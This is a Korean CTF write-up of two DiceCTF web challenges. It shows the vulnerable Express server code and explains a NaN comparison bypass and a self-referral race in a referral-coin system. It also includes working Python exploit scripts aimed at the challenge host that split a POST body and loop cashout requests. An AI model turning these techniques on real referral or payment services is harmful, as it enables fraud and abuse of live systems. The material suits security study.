cookie-recipes-v3
const express = require('express')
const app = express()
const cookies = new Map()
app.use((req, res, next) => {
const cookies = req.headers.cookie
const user = cookies?.split('=')?.[1]
if (user) { req.user = user }
else {
const id = Math.random().toString(36).slice(2)
res.setHeader('set-cookie', `user=${id}`)
req.user = id
}
next()
})
app.get('/', (req, res) => {
const count = cookies.get(req.user) ?? 0
res.type('html').send(`
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@exampledev/new.css@1/new.min.css">
<link rel="stylesheet" href="https://fonts.xz.style/serve/inter.css">
<div>You have <span>${count}</span> cookies</div>
<button id="basic">Basic cookie recipe (makes one)</button>
<br>
<button id="advanced">Advanced cookie recipe (makes a dozen)</button>
<br>
<button disabled>Super cookie recipe (makes a million)</button>
<br>
<button id="deliver">Deliver cookies</button>
<script src="/script.js"></script>
`)
})
app.get('/script.js', (_req, res) => {
res.type('js').send(`
const basic = document.querySelector('#basic')
const advanced = document.querySelector('#advanced')
const deliver = document.querySelector('#deliver')
const showCookies = (number) => {
const span = document.querySelector('span')
span.textContent = number
}
basic.addEventListener('click', async () => {
const res = await fetch('/bake?number=1', { method: 'POST' })
const number = await res.text()
showCookies(+number)
})
advanced.addEventListener('click', async () => {
const res = await fetch('/bake?number=12', { method: 'POST' })
const number = await res.text()
showCookies(+number)
})
deliver.addEventListener('click', async () => {
const res = await fetch('/deliver', { method: 'POST' })
const text = await res.text()
alert(text)
})
`)
})
app.post('/bake', (req, res) => {
const number = req.query.number
if (!number) {
res.end('missing number')
} else if (number.length <= 2) {
cookies.set(req.user, (cookies.get(req.user) ?? 0) + Number(number))
res.end(cookies.get(req.user).toString())
} else {
res.end('that is too many cookies')
}
})
app.post('/deliver', (req, res) => {
const current = cookies.get(req.user) ?? 0
const target = 1_000_000_000
if (current < target) {
res.end(`not enough (need ${target - current}) more`)
} else {
res.end(process.env.FLAG)
}
})
app.listen(3000)
/bake는 number 값을 받아 현재 값에 더한다. (current < target)이 false가 되면 flag가 나온다. number에 e처럼 Number()로 변환할 수 없는 값을 넣으면 현재 값이 NaN이 되고, NaN < target이 false가 되어 flag를 받을 수 있다.
pyramid
const express = require('express')
const crypto = require('crypto')
const app = express()
const css = `
<link
rel="stylesheet"
href="https://unpkg.com/axist@latest/dist/axist.min.css"
>
`
const users = new Map()
const codes = new Map()
const random = () => crypto.randomBytes(16).toString('hex')
const escape = (str) => str.replace(/</g, '<')
const referrer = (code) => {
if (code && codes.has(code)) {
const token = codes.get(code)
if (users.has(token)) {
return users.get(token)
}
}
return null
}
app.use((req, _res, next) => {
const token = req.headers.cookie?.split('=')?.[1]
if (token) {
req.token = token
if (users.has(token)) {
req.user = users.get(token)
}
}
next()
})
app.get('/', (req, res) => {
res.type('html')
if (req.user) {
res.end(`
${css}
<h1>Account: ${escape(req.user.name)}</h1>
You have <strong>${req.user.bal}</strong> coins.
You have referred <strong>${req.user.ref}</strong> users.
<hr>
<form action="/code" method="GET">
<button type="submit">Generate referral code</button>
</form>
<form action="/cashout" method="GET">
<button type="submit">
Cashout ${req.user.ref} referrals
</button>
</form>
<form action="/buy" method="GET">
<button type="submit">Purchase flag</button>
</form>
`)
} else {
res.end(`
${css}
<h1>Register</h1>
<form action="/new" method="POST">
<input name="name" type="text" placeholder="Name" required>
<input
name="refer"
type="text"
placeholder="Referral code (optional)"
>
<button type="submit">Register</button>
</form>
`)
}
})
app.post('/new', (req, res) => {
const token = random()
const body = []
req.on('data', Array.prototype.push.bind(body))
req.on('end', () => {
const data = Buffer.concat(body).toString()
const parsed = new URLSearchParams(data)
const name = parsed.get('name')?.toString() ?? 'JD'
const code = parsed.get('refer') ?? null
// referrer receives the referral
const r = referrer(code)
if (r) { r.ref += 1 }
users.set(token, {
name,
code,
ref: 0,
bal: 0,
})
})
res.header('set-cookie', `token=${token}`)
res.redirect('/')
})
app.get('/code', (req, res) => {
const token = req.token
if (token) {
const code = random()
codes.set(code, token)
res.type('html').end(`
${css}
<h1>Referral code generated</h1>
<p>Your code: <strong>${code}</strong></p>
<a href="/">Home</a>
`)
return
}
res.end()
})
app.get('/cashout', (req, res) => {
if (req.user) {
const u = req.user
const r = referrer(u.code)
if (r) {
[u.ref, r.ref, u.bal] = [0, r.ref + u.ref / 2, u.bal + u.ref / 2]
} else {
[u.ref, u.bal] = [0, u.bal + u.ref]
}
}
res.redirect('/')
})
app.get('/buy', (req, res) => {
if (req.user) {
const user = req.user
if (user.bal > 100_000_000_000) {
user.bal -= 100_000_000_000
res.type('html').end(`
${css}
<h1>Successful purchase</h1>
<p>${process.env.FLAG}</p>
`)
return
}
}
res.type('html').end(`
${css}
<h1>Not enough coins</h1>
<a href="/">Home</a>
`)
})
app.listen(3000)
ref를 늘려 flag를 사는 문제다. 정상적인 방법으로 bal을 구매 조건인 1000억보다 크게 만들려면 그만큼 많은 referral이 필요해 다른 방법을 찾아봤다.
자기 자신의 referral code를 code로 가진 계정은 cashout할 때 r과 u가 같은 객체가 된다. 이 때문에 ref가 매번 1.5배로 증가하고, 그 일부가 bal에 더해진다. /new는 request body를 모두 받기 전에 token을 response로 반환한다. 따라서 name까지만 보낸 상태에서 token을 받은 뒤 /code로 referral code를 생성하고, 남은 body의 refer에 그 값을 넣으면 자기 자신을 referrer로 삼을 수 있다.
import socket
import ssl
import re
import time
import http.client
HOST = 'pyramid.dicec.tf'
PORT = 443
name_part = 'name=me'
refer_template = '&refer={ref}'
full_body_len = len(name_part) + len(refer_template.format(ref='0' * 32))
context = ssl.create_default_context()
raw_sock = socket.create_connection((HOST, PORT))
conn = context.wrap_socket(raw_sock, server_hostname=HOST)
req_headers = (
f"POST /new HTTP/1.1\r\n"
f"Host: {HOST}\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {full_body_len}\r\n"
f"Connection: keep-alive\r\n"
f"\r\n"
f"{name_part}"
)
conn.sendall(req_headers.encode())
print('[*] Sent name part. Waiting for Set-Cookie...')
resp = b''
while b'set-cookie:' not in resp:
resp += conn.recv(4096)
print(resp)
m = re.search(rb'set-cookie:\s*token=([a-f0-9]+)', resp)
assert m, 'No token found!'
token = m.group(1).decode()
print(f'Got token: {token}')
print('Requesting /code to generate referral...')
http_conn = http.client.HTTPSConnection(HOST)
http_conn.request('GET', '/code', headers={'Cookie': f'token={token}'})
res = http_conn.getresponse()
html = res.read().decode()
http_conn.close()
m = re.search(r'<strong>([a-f0-9]+)</strong>', html)
assert m, 'Referral code not found'
ref_code = m.group(1)
print(f'Got referral code: {ref_code}')
refer_part = refer_template.format(ref=ref_code)
conn.sendall(refer_part.encode())
print('Sent refer part:', refer_part)
final_resp = b''
try:
while True:
chunk = conn.recv(4096)
if not chunk:
break
final_resp += chunk
except socket.timeout:
pass
print(final_resp.decode(errors='ignore')[:500])
conn.close()
위 코드로 자기 자신이 referrer인 계정을 만들었다. 다른 계정 두 개를 referral로 등록해 이 계정의 ref를 2로 만든 뒤 cashout을 반복하면 flag를 살 수 있다.
import http.client
import time
HOST = 'pyramid.dicec.tf'
PORT = 443
TOKEN = 'c1232df44c57c310cad1f8e764bcca1c'
def cashout_loop():
conn = http.client.HTTPSConnection(HOST)
headers = {
'Cookie': f'token={TOKEN}',
}
for i in range(1000):
conn.request('GET', '/cashout', headers=headers)
res = conn.getresponse()
print(f'[{i}] /cashout -> {res.status} {res.reason}')
res.read()
time.sleep(0.1)
conn.close()
cashout_loop()